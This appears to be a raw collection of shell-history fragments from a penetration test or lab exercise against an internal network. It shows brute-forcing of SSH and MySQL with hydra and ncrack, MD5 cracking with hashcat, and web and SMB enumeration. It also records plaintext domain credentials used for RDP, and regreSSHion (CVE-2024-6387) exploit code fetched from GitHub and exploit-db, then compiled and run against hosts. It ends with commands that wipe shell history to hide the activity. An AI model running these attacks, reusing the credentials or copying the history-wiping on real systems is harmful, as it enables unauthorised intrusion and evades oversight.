_raw:
ncrack -v --user root 10.0.1.6
ncrack -v --admin root 10.0.1.6
ncrack -v --user root 10.0.1.6
ncrack -v -g --user root 10.0.1.6
clear
ncrack --user bailey =P -.p.txt ssh://10.0.1.6
clear


_raw:
nmap -sn 10.0.1.12
nmap -sn 10.0.1.0
nmap -sn 10.0.1.0/24
nmap -sn Prod.allPorts.tours
nmap -sn Prod.allports.tours
nmap -sn 10.0.1.0/24
openssl s_client -servername 10.0.1.14 -connect 10.0.1.14:80 -text
openssl s_client -connect 10.0.1.14:80 -text
openssl s_client -connect 10.0.1.14:80 -text -noout
openssl s_client -connect 10.0.1.14:80
openssl s_client -connect 10.0.1.11
openssl s_client -connect 10.0.1.11:80 | openssl x509 -text
openssl s_client -connect 10.0.1.11:80
openssl s_client -connect 10.0.1.11:443
nmap -sn 10.0.1.14
nmap -sn 10.0.1.14:443
openssl s_client -connect 10.0.1.14
ssh 10.0.1.14
nmap service discovery/identification scan -sV
nmap service discovery/identification scan -sV 10.0.1.14:443
nmap service discovery scan -sV 10.0.1.14:443
nmap servicescan -sV 10.0.1.14:443
nmap service scan -sV 10.0.1.14:443
hydra --version
hydra -L users.txt -P pass.txt 10.0.1.15:3306
hydra -L users.txt -P pass.txt 10.0.1.15:3306 mysql
hyda -L root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 10.0.1.15:3306 mysql
hydra -L root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 10.0.1.15:3306 mysql
whoami 10.0.1.15
hydra -L "admin" -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 10.0.1.15:3306 mysql
hydra -L "bayfinn" -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 10.0.1.15:3306 mysql
hydra -L "bayfinn" -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh 10.0.1.15:3306
hydra -L "bayfinn" -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://10.0.1.1
hydra -L "bayfinn" -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://10.0.1.15
ls /usr/share/wordlists
vim sqlmap.txt
gunzip rockyou.txt.gz
gunzip /usr/share/rockyou.txt.gz
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
ls /usr/share/wordlists
hydra -L "bayfinn" -P /usr/share/wordlists/metasploit/rockyou.txt -t 6 ssh://10.0.1.15
vim user.txt
hydra -L bayfinn.txt -P /usr/share/wordlists/metasploit/rockyou.txt -t 6 ssh://10.0.1.15
ls
hydra -L user.txt -P /usr/share/wordlists/metasploit/rockyou.txt -t 6 ssh://10.0.1.15
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt -t 6 ssh://10.0.1.15
whoami
whois 10.0.1.14:80
whois 10.0.1.14
whois chat.allports.tours
nmap -sn chat.allports.tours
ssh 10.0.1.14
ssh admin@10.0.1.14
mysql --version
mysql -h 10.0.1.14 -u admin -p
mysql -h 10.0.1.14 -u admin
mysql -h 10.0.1.14 -u admin -p password
mysql -h 10.0.1.14 -u root -p password
mysql -h 10.0.1.14 -u root -p
mysql -u root -h 10.0.1.14 -p
mysql -u root -h 10.0.1.15 -p
mysql -u admin -h 10.0.1.15 -p
mysql -u meow -h 10.0.1.15 -p
mysql -u root -h 10.0.1.15 -p
mysql -u root -h 10.0.1.15: -p
mysql -u root -h 10.0.1.15 -p
mysql -u root -h 10.0.1.99 -p
mysql -u root -h 10.0.1.99 -pP@ssword
mysql -u root -h 10.0.1.99 -ppassword
mysql -u root -h 10.0.1.99 -p
ssh 10.0.1.99
whois 10.0.1.99
whois 10.0.1.254
ssh admin:10.0.1.30
ssh 10.0.1.30
ssh admin@10.0.1.30
ssh admin@10.0.1.99
ssh admin@10.0.1.15
ssh admin@10.0.1.14
ssh admin@10.0.1.11
netstat 10.0.1.6
kinit --version
ssh admin@10.0.1.6
mysql -u rdavis -h 10.0.1.15 -p
mysql -u rdavis -h 10.0.1.99 -p
mysql -u meow -h 10.0.1.99 -p
netstat 10.0.1.99:443
mstsc --version
ssh rdavis@10.0.1.21
openssl s_client -showcerts -connect 10.0.1.6
openssl s_client -showcerts -connect 10.0.1.6:3269
openssl s_client -showcerts -connect 10.0.1.6:3269 > cert.pem
cat cert.pem
openssl s_client -showcerts -connect 10.0.1.6:636
netstat 10.0.1.11
smbclient --version
smbclient 10.0.1.21
smbclient /10.0.1.21
smbclient -L 10.0.1.21 -U rdavis
smbclient -L 10.0.1.21 -U admin
smbclient -L 10.0.1.21 -U admin -N
smbclient -L 10.0.1.21 -U rdavis -N
smbclient -L 10.0.1.6 -U rdavis -N
smbclient -L 10.0.1.6 -U rdavis
smbclient -L 10.0.1.6 -U admin
smbclient -L 10.0.1.20 -U rdavis
smbclient -L 10.0.1.6 -U rdavis
smbclient -N 10.10.10.27\backups -U rdavis
smbclient -N 10.0.1.6\backups -U rdavis
smbclient -L 10.0.1.6 -U rdavis
smbclient -N //10.0.1.6/backups -U rdavis
smbclient -L 10.0.1.6 -U rdavis
smbclient -L 10.0.1.6 -U SVC_STABILIZE
mysql -u SVC_STABILIZE -h 10.0.1.99 -p
mysql -u SVC_STABILIZE -h 10.0.1.15 -p
rdesktop -d APT -u "rdavis" -p "rosdav50" 10.0.1.20
curl -X POST -d "param1=admin&param2=password" 10.0.1.15
curl -X POST -d 10.0.1.15
curl 10.0.1.15
curl http://10.0.1.15
curl http://10.0.1.15:8090
curl -X POST -d "param1=admin&param2=password" http://10.0.1.15:8090
traceroute http://10.0.1.15:8090
traceroute http://10.0.1.15
traceroute prod.allports.local
traceroute 10.0.1.11
clear
exit


_raw: : 1762654758:0;hashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txt.gz -m 0


_raw: : 1762654746:0;hashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txt.gz


_raw:
gobuster dir -u http://10.0.1.14:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 169
gobuster dir -u http://10.0.1.14:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 255
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 144
nmap 10.0.254.208
nmap 10.0.254.208 -p 22
nmap 10.0.254.208 -p 80
nmap 10.0.254.208 -p- 80
nmap 10.0.254.208 -Sv
nmap 10.0.254.208 -sV
nmap 10.0.254.208 -A
nmap 10.0.1.21 -A
[200~csrf token chat.allports.tours
ls
cd Documents
ls
cd.
cd ..
ls
cd Public
ls
cd ..
ls


_raw: : 1762654692:0;hashcat -m 0 -a 0 0d107d09f5bbe40cade3de5c71e9e9b7 /usr/share/wordlists/rockyou.txt.gz --show


_raw: : 1762654675:0;hashcat -m 0 -a 0 0d107d09f5bbe40cade3de5c71e9e9b7 /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762654645:0;hashcat -m 0 -a 0 4cff9e003d4e86a558c6698c5c997c02 /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762654637:0;gobuster dir -u "http://10.0.1.30:8096/" -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762654630:0;gobuster dir -u "http://10.0.1.30:8096/web/" -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762654612:0;hashcat -m 0 -a 0 6b3f5de66b57ab0d5b388cd9b2736c00 /usr/share/wordlists/rockyou.txt.gz


_raw:
clear
-h
help
clear
-help
clear
evil-winrm -help
evil-winrm -u
evil-winrm -u 10.0.1.21
clear
nmap 10.0.1.21
evil-winrm -i 10.0.1.21 -u username -p password -P 8596
evil-winrm -i 10.0.1.21 -u administrator -p administrator -P 8596
clear
pwd 10.0.1.21
clear
ssh 10.0.1.21
ssh 10.0.1.6
clear
sudo apt-get install openssh-server
ssh 10.0.1.21
clear
ssh 10.0.1.6
clear
users 10.0.1.6
clear
nmap 10.0.1.6
ssh 10.0.1.6
ssh 10.0.1.6 admin
clear
ssh 10.0.1.6 admin
ssh admin@10.0.1.6
ssh guest@10.0.1.6
ssh bailey.finn@10.0.1.6
clear
telnet 10.0.1.6
clear
nmap 10.0.1.6
openssl s_client -connect 10.0.1.6:636
clear
ldapsearch 10.0.1.6
contact 10.0.1.6
clear
ldapsearch -H
ldapsearch -x -LLL uid=*
ldapsearch -x -LLL uid-bailey.finn
ldapsearch -x -LLL uid=bailey.finn
ldapsearch -x -LLL uid-rina.torres
ldapsearch -x -LLL uid=rina.torres
ldapsearch -x -LLL -H ldaps://<ldap_10.0.1.6 -b
ldapsearch -x -LLL -H ldaps://<ldap_10.0.1.6 -b 'ou=People,dc=example,dc.com' 'uid=*'
clear
ldapwhoami -vvv -h 10.0.1.6 -p 636
ldapwhoami 10.0.1.6
clear
uid 10.0.1.6
ldapsearch -x -b "ou=Admins,dc=example,dc=com" "(uid=username)"
ldapsearch -x -b "ou=Administrators,dc=example,dc=com" "(uid=username)"
ldapsearch -x -b "ou=bailey.finn,dc=example,dc=com" "(uid=username)"
clear
ldapsearch -x -b dc=field,dc=aerospike,dc=com -D "con=admin,dc=field,dc=aerospike,dc=com -D "
clear
ldapsearch -x -b dc=field,dc=aerospike,dc=com -D "cn=admin,dc=field,dc=aerospike,dc=com" -w admin.
ldapsearch -x -b dc=field,dc=allports.local,dc=com -D "cn=admin,dc=field,dc=allports.local,dc=com" -w admin.
clear
ldapsearch -x -b dc=field,dc=allports.local,dc=com -D "cn=admin,dc=field,dc=allports.local,dc\
clear\
cl\
clear
clear
dcdiag 10.0.1.6
clear
nslookup -q=SRV _ldap._tcp.dc._msdcs.allports.local
clear
nslookup 10.0.1.6
host 10.0.1.6
clear
nmblookup -A 10.0.0.6
clear
nmblookup -A 10.0.1.6
avahi-resolve -a 10.0.1.6
clear
nmap -sn 10.0.1.6
clear
nslookup allports.local
clear
nslookup allports.local.com
clear
nslookup 10.0.1.6
clear
dig +short allports.local
clear
nslookup prod.allports.local
clear
host prod.allports.local
clear
getent hosts prod.allports.com
getent hosts allports.com
nmap 185.230.63.107
getent passwd 10.0.1.6
clear
getent 185.230.63.107
getent 10.0.1.6
getent hosts allports.com
getent hosts prod.allports.com
clear
users 10.0.1.6
clear
nmap -sS 10.0.1.6 -oA booknmap
nmap -sV 10.0.1.6 -oA bookversionnmap
nslookup APT-DC-01
clear
nmap -sU 10.0.1.6 -oA bookudp
clear
nbtscan-unixwiz 10.0.1.6
nmblookup 10.0.1.6
clear
smbclient 10.0.1.6
smbclient 10.0.1.6 -L
smbclient -L 10.0.1.6
clear
nmap 10.0.1.6
echo "hello" | nc 10.0.1.6
echo "hello" | nc 10.0.1.6 636
telnet 10.0.1.6 636
clear
echo "hello" | Test-NetConnection -ComputerName 10.0.1.6 -Port 636
clear


_raw: : 1762654575:0;hashcat -m 0 -a 0 91605a2e7b18ffaba8610d1351b9b690 /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762654542:0;hashcat -m 0 -a 0 204a2f2642aed7a1b902d13f90f75e40 /usr/share/wordlists/rockyou.txt.gz


_raw:
less /var/log/apt/history.log\

sudo apt remove mono-complete
sudo apt remove rdate
cat /dev/null > ~/.bashrc_history


_raw: : 1762654502:0;hashcat -a 0 -m 0 tmp /usr/share/wordlists/rockyou.txt --show


_raw:
rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.6
rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.21
rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.20
curl -X POST 10.0.1.14:5001/alert
curl -X PUT 10.0.1.14:5001/alert
rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.20
mkpasswd -h
mkpasswd -m list
mkpasswd -m bcrypt


_raw:
ls
cd venv
ls
cat file.txt
hashcat file.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762654393:0;dirbuster -u https://chat.allports.tours -l /usr/share/dirb/wordlists/common.txt


_raw: : 1762654376:0;dirbuster -u http://chat.allports.tours -l /usr/share/dirb/wordlists/common.txt


_raw:
nmap -p 3306 --script mysql-brute 10.0.1.15
nmap -p 3306 --script mysql-brute 10.0.1.99
cd /
cd usr/share
ls
cd wordlists
ls
cd /
cd ~
mysql -u root -h 10.0.1.99 -p 3306
mysql -u root -h 10.0.1.15 -p 3306
mysql -u admin -h 10.0.1.15 -p 3306
mysql -u bayfinn -h 10.0.1.15 -p 3306
crackmapexec smb 10.0.1.20 -u '' -p 'password' --shares
crackmapexec smb 10.0.1.20 -u 'admin' -p 'password' --shares
crackmapexec smb 10.0.1.20 -u 'admin' -p 'admin' --shares
crackmapexec smb 10.0.1.20 -u 'rdavis' -p 'rosdav50' --shares
crackmapexec smb 10.0.1.20 -u 'rdavis' -p 'rosdav50'
mysql -u bfinn -h 10.0.1.15 -p 3306
mysql -u rdavis  -h 10.0.1.15 -p 3306
cd /usr/share/wordlists
hydra -L bfinn -P rockyou.txt 10.0.1.15 mysql
vim users.txt
cat users.txt
sudo touch users.txt
sudo vim users.txt
cat users.txt
hydra -L users.txt -P rockyou.txt 10.0.1.15 mysql
mysql -u rdavis  -h 10.0.1.15 -p 3306
mysql -u rdavis  -h 10.0.1.99 -p 3306
dig http://tabular_search:8045/
rdesktop -d APT -u "rdavis" -p "rosdav50" 10.0.1.20
cat users.txt
cd ~
mysql -u bfinn  -h 10.0.1.99 -p 3306
mysql -u lvega  -h 10.0.1.99 -p 3306
mysql -u lvega  -h 10.0.1.15 -p 3306
mysql -u root -h 10.0.1.15 -p 3306
mysql -u admin -h 10.0.1.15 -p 3306
ssh 10.0.1.11
ssh 10.0.1.11 -p 8081
ssh 10.0.1.11
ssh admin@10.0.1.11
mysql -u SVC_STABILIZE -h 10.0.1.15 -p 3306
mysql -u bfinn -h 10.0.1.15 -p 3306
mysql -u bailey.finn -h 10.0.1.15 -p 3306
dirbuster -h
java -jar DirBuster1.0-RC1.jar -u https://chat.allports.tours/ -t 2
java -jar DirBuster1.0-RC1.jar -H -u https://chat.allports.tours/ -t 2
dirbuster -u https://chat.allports.tours/ -t 2
ssh 10.0.1.15
rdesktop -d APT -u "rdavis" -p "rosdav50" 10.0.1.6
ssh admin@10.0.1.99
smtp
enum4linux 10.0.1.21
enum4linux 10.0.1.6
enum4linux 10.0.1.20
ssh 10.0.1.1
clear
mysql -u admin -h 10.0.1.15 -p 3306
mysql -u admin -h 10.0.1.99 -p 3306
mysql -h 10.0.1.15 -p 3306
mysql -u admin -h 10.0.1.99 -p 3306
mysql -u rdavis -h 10.0.1.99 -p 3306


_raw: : 1762654250:0;hashcat -a 0 -m 0 tmp /usr/share/wordlists/rockyou.txt --show


_raw: : 1762654242:0;hashcat -a 0 -m 0 tmp /usr/share/wordlists/rockyou.txt


_raw: : 1762654226:0;gobuster dir -u "http://10.0.1.30:8096/web/" -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762654078:0;dirbuster -u http://chat.allports.tours/admin -l /usr/share/dirb/wordlists/common.txt


_raw: : 1762654063:0;dirbuster -u http://chat.allports.tours/admin -h


_raw: : 1762654035:0;dirbuster -u http://chat.allports.tours/admin


_raw: : 1762653975:0;gobuster dir -u "http://10.0.1.14:5001/" -w /usr/share/wordlists/dirb/common.txt


_raw: : 1762653968:0;gobuster dir -u "http://10.0.1.14:5001" -w /usr/share/wordlists/dirb/common.txt


_raw:
nmap -sV 10.0.1.11
nmap -sV 10.0.1.14
nmap -sV 10.0.1.30
nmap -sV 10.0.1.99
nmap -sV 10.0.1.254
nmap -sV 10.0.1.1
lynx
curl 10.0.1.11:8000
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.11:8000
curl -X POST -H "Accept: application/json" -H "Authorization: Basic c3VwZXJzZWN1cmVwYXNzCg=="  10.0.1.11:8000
curl 10.0.1.11:8000 -H "Accept: application/json" -H "Authorization: Basic c3VwZXJzZWN1cmVwYXNzCg=="
curl 10.0.1.11:8000 -H "Accept: application/json" -H "Authorization: Bearer c3VwZXJzZWN1cmVwYXNzCg=="
ssh 10.0.1.30
ssh root@10.0.1.30
ssh 10.0.1.99
curl 10.0.1.99
curl 10.0.1.99:8080
curl -vvv 10.0.1.99:8080
mysql 10.0.1.3306
mysql 10.0.1.99:3306
mysql 10.0.1.99 -u hi
mysql 10.0.1.99
ssh 10.0.1.14
curl 10.0.1.14:5001
curl -v 10.0.1.14:5001
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001
curl -v -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001
curl -v -sI 10.0.1.14:5001
curl -sI 10.0.1.14:5001
curl -v 10.0.1.14:5001/user
curl -v 10.0.1.14:5001/user?hi
curl -v 10.0.1.14:5001/testing-the-server
curl -v -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001/user
curl -sI 10.0.1.14:5001
curl 10.0.1.14:5001
curl -v 10.0.1.14:5001/testing-the-server
curl -v -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001/user
curl -v 10.0.1.14:5001/testing-the-server
curl -v 10.0.1.14:5001/testing-the-server?hello
curl -v 10.0.1.14:5001/testing-the-server?hello=hi
gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.15:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.15:8090 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
curl 10.0.1.15:8090
curl 10.0.1.15:8090/health
curl -v -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.15:8090/health
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.15:8090/health
curl -X POST  10.0.1.15:8090/health
curl -X GET  10.0.1.15:8090/health
gobuster dir -u http://10.0.1.20:5985 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.20:5986 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
smbclient 10.0.1.20
smbclient \\10.0.1.20
smbclient \\10.0.1.20\\
;
smbclient \\10.0.1.20\share
smbclient //10.0.1.20/share
sudo nano /etc/hosts
sudo -i
sudo nano /etc/hosts
gobuster dir -u http://chat.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://chat.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --wildcard
gobuster dir -u http://chat.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 301
gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 301
gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.15:8090/health
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001/user
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001/REDACTED_EMAIL
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001/login
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001/admin
curl -X POST -H "Content-Type: application/json" -d '{"key":"val"}' 10.0.1.14:5001/forgot_password
mysql 10.0.1.15
dig
dig 10.0.1.10:53
dig 10.0.1.14
dig 10.0.1.10:53
dig 10.0.1.10:53 any
dig 10.0.1.1:53 any
smbclient //10.0.1.20/share
smbclient //10.0.1.21/share
smbclient //10.0.1.21/submit
mysql 10.0.1.99
gobuster dir -u 10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u https://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u https://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
gobuster dir -u 10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u https://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nmap -A 10.0.1.15 -p 8080
nmap -A 10.0.1.15 -p 8081
mysql -h 10.0.1.99
mysql -h 10.0.1.99 -k
mysql --sslmode-disabled -h 10.0.1.99
mysql --ssl-mode=DISABLED -h 10.0.1.99
mysql --use-ssl=false -h 10.0.1.99
mysql --skip-ssl -h 10.0.1.99
mysql --skip-ssl -h 10.0.1.15
mysql --skip-ssl -h 10.0.1.15 -u anonymous
mysql --skip-ssl -h 10.0.1.15 -u anonymous -p ''
mysql --skip-ssl -h 10.0.1.15 -u root
mysql --skip-ssl -h 10.0.1.15 -u root -p root
mysql --skip-ssl -h 10.0.1.15 -u root
mysql --skip-ssl -h 10.0.1.15 -u root -p
mysql --skip-ssl -h 10.0.1.15 -u root
mysql --skip-ssl -h 10.0.1.99 -u root
mysql --skip-ssl -h 10.0.1.99 -u anonymous
mysql --skip-ssl -h 10.0.1.14 -u anonymous
mysql --skip-ssl -h 10.0.1.15 -u allports
mysql --skip-ssl -h 10.0.1.15 -u allports -p
mysql --skip-ssl -h 10.0.1.99 -u root
mysql --skip-ssl -h 10.0.1.99 -u root -p
mysql --skip-ssl -h 10.0.1.15 -u root -p
ls
cat password.txt
cd Desktop
ls
git clone https://github.com/zgzhang/cve-2024-6387-poc
ls
cd cve-2024-6387-poc
ls
g++ 7etsuo-regreSSHion.c
gcc 7etsuo-regreSSHion.c
ls
./a.out
./a.out 10.0.1.15 22
./a.out 10.0.1.15 2
./a.out 10.0.1.99 22
ssh 10.0.1.99
./a.out 10.0.1.99 22
cp 7etsuo-regreSSHion.c test.c
nano test.c
gcc test.c
./a.out 10.0.1.99 22
./a.out 10.0.1.15 22
nano test.c
./a.out 10.0.1.15 22
ls
wget https://www.exploit-db.com/download/52269
ls
file 52269
mv 52269 test.c
less test.c
rm *.out
gcc test.c
less test.c
nano test.c
less test.c
gcc test.c
nano s.c
gcc s.c
gcc 7etsuo-regreSSHion.c
cd .
cd ..
git clone https://github.com/xonoxitron/regreSSHion.git
ls
cd regreSSHion
ls
gcc -o regreSSHion exploit.c -lpthread
./regreSSHion 10.0.1.15 22
ls
cat compile.sh
nano exploit.c
ldd
ld --version
nano exploit.c
./regreSSHion 10.0.1.15 22
nano exploit.c
history | grep nmap
nmap -A 10.0.1.99 -p 443
nmap -A 10.0.1.20 -p 3389
cd ..
ls
wget https://gist.githubusercontent.com/hawktrace/880b54fb9c07ddb028baaae401bd3951/raw/289c9f187d9dad30e4a09cfb2105a5b4e3d96d16/gistfile1.txt
mv gistfile1.txt test.cs
dotnet run test.cs
sudo apt install mono-complete
mcs test.cs
ls
mono text.exe
ls
file test.exe
mono test.exe
mono test.exe | base64 -d
nmap -A 10.0.1.20 -p 135
nmap -A 10.0.1.20 -p 139
nmap -A 10.0.1.11 -p 8045


_raw:
base64 'hi'
echo hi | base64
echo supersecurepass | base64
gobuster dir -u http://10.0.1.20:5986 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
uname -a
ls
cd Desktop
mkdir pyservertest
cd pyservertest
nano index.html
nmap -A 10.0.1.11 -p 8081
curl -X POST http://10.0.1.11:8045/refresh_schemas
sudo nmap -p 139,445 --script smb-vuln* 10.0.1.20 -oA nmap/smb-vuln
sudo nmap -p 139,445 --script smb-vuln* 10.0.1.20 -oA
sudo nmap -p 139,445 --script smb-vuln* 10.0.1.20
sudo nmap -A -p 139,445 --script smb* 10.0.1.20
smbmap -H
smbmap -H 10.0.1.30
smbmap -H 10.0.1.20
smbclient -L \\\\10.0.1.20
rpcclient -U "" -N 10.0.1.20
enum4linux -a 10.0.1.20
rpcclient -U "guest" -N 10.0.1.20
timedatectl
timedatectl set-ntp off
sudo apt install rdate
rdate -n 10.0.1.20
rpcclient -U "guest" -N 10.0.1.20
smbclient -u 'guest' 10.0.1.20
smbclient -U 'guest' 10.0.1.20
smbclient --user 'guest' 10.0.1.20
smbclient 10.0.1.20 --user 'guest'
smbclient \\\\10.0.1.20 --user 'guest'
smbclient \\\\10.0.1.20\ --user 'guest'
smbclient //10.0.1.20/ --user 'guest'
smbclient //10.0.1.20/
smbclient -L //10.0.1.20/
smbclient -L //10.0.1.20/ --user "guest"
man smbclient
smbclient -L //10.0.1.20/ --user "deckhand01\guest"
smbclient -L //10.0.1.20/ --user "deckhand01.allports.local\guest"
smbclient -L //10.0.1.20/ --user "deckhand_01\guest"
smbclient -L //10.0.1.20/ --user "deckhand\guest"
smbclient -L //10.0.1.20/ --user "deckhand01\guest"
smbclient -L //10.0.1.20/ --user "deckhand01/guest"
smbclient -L //10.0.1.20/ --user deckhand01/guest
nslookup
dig -x 10.0.1.20
dig -x 10.0.1.203
dig -x 10.0.1.201
dig -x 10.0.1.20
host 10.0.1.20
nslookup 10.0.1.20
dig -x 10.0.1.20 +short
smbclient -L //10.0.1.20/ --user allports.local/guest
smbclient -L //10.0.1.20/ --user prod.allports.local/guest
smbclient -L //10.0.1.20/ --user dc.allports.local/guest
smbclient -L //10.0.1.20/ --user dc.prod.allports.local/guest
smbclient -L //10.0.1.20/ --user apt-dc-01/guest
smbclient -L //10.0.1.20/ --user apt-dc-01.allports.local/guest
smbclient -L //10.0.1.20/ --user apt-dc-01.allports/guest
smbclient -L //10.0.1.20/ --user apt-dc-01.prod.allports/guest
smbclient -L //10.0.1.20/ --user apt-dc-01.prod/guest
smbclient -L //10.0.1.20/ --user apt-dc-01.prod.allports.local/guest
smbclient -L //10.0.1.6/ --user apt-dc-01/guest
enum4linux -a 10.0.1.6
smbclient -L //10.0.1.6/ --user apt/guest
smbclient -L //10.0.1.20/ --user apt/guest
enum4linux -a 10.0.1.20
smbclient -L //10.0.1.6/ --user apt/guest
smbclient -L //10.0.1.6/ --user apt/guestd
smbclient -L //10.0.1.6/ --user apt/none
smbclient -L //10.0.1.6/ --user apt/administrator
smbclient -L //10.0.1.6/ --user apt/root
smbclient -L //10.0.1.6/ --user apt/bin
enum4linux -a 10.0.1.20
smbclient -L //10.0.1.6/ --user apt/bin
smbclient -L //10.0.1.6/ --user apt
smbclient -L //10.0.1.6/ --user apt/
nbtstat -A
smbclient -L //10.0.1.6/ --user apt/guest
smbclient -L //10.0.1.20/ --user apt/guest
ping 10.0.1.20
dig -x 10.0.1.1 +short
dig -x 10.0.1.1
dig -x 10.0.1.1 +short
host -x 10.0.1.1 +short
host 10.0.1.1
host 10.0.1.20
host 10.0.1.6
nslookup 10.0.1.20
smbclient -L //10.0.1.20/ --user apt/guest
smbclient -L //10.0.1.6/ --user apt/guest
smbclient -L //10.0.1.6/ --user apt/gadsfadsfasfd
smbclient -L //10.0.1.6/ --user apt/administrator
rpcclient -U "guest" -N 10.0.1.6
rpcclient -U "guest" -N 10.0.1.20
rpcclient -U "" -N 10.0.1.20
rpcclient -U "" -N 10.0.1.6
rpcclient -U "guet" -N 10.0.1.6
rpcclient -U "guest" -N 10.0.1.6
rpcclient -U "" -N 10.0.1.6
cat /etc/hosts
rpcclient -U "" -N 10.0.1.6
ls
history -c
history
history -w
man history
cat /dev/null > ~/.bashrc
cat /dev/null > ~/.bashrc_history


_raw:
ssh root@10.0.1.11
clear
dirsearch -u http://10.0.1.11
dirsearch -u http://10.0.1.14
dirsearch -u http://10.0.1.99
dirsearch -u http://10.0.1.1
clear
gobuster dir - http://10.0.1.99 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
history


_raw: : 1762653554:0;nmap -Pn -p 445 --script smb-vuln-ms17-010 smbuser=rdavis,smbpass=rosdav50 10.0.1.6


_raw: : 1762653529:0;nmap -Pn -p 445 --script smb-vuln-ms17-010 smbuser=rdavis,smbpass=rosdav5010.0.1.6


_raw: : 1762653520:0;rdesktop -d APT -u "SVC_STABILIZE" -p "1gyroscope" 10.0.1.20


_raw: : 1762653441:0;cp .pentest_history 3_pentest_history


_raw: : 1762653380:0;cp .pentest_history 6_pentest_history


_raw: : 1762653320:0;cp .pentest_history Kali5.pentest_history


_raw: : 1762653211:0;sqlmap -u https://chat.allports.tours/user --force-ssl


_raw:
: 1762653183:0;\
\
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"\


_raw: : 1762653181:0;cp ~/.pentest_history ~/shown_pentest_history


_raw: : 1762653170:0;sqlmap -u https://chat.allports.tours/user


_raw: : 1762653148:0;hashcat -m 0 -a 0 0d107d09f5bbe40cade3de5c71e9e9b7 /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762653075:0;cp .pentest_history pentest_history


_raw: : 1762653069:0;hashcat -m 0 -a 0 9c32a8efa0ddd43713f2add2d56a91d3 /usr/share/wordlists/rockyou.txt.gz


_raw: : 1762653065:0;sqlmap -u "https://chat.allports.tours/user"


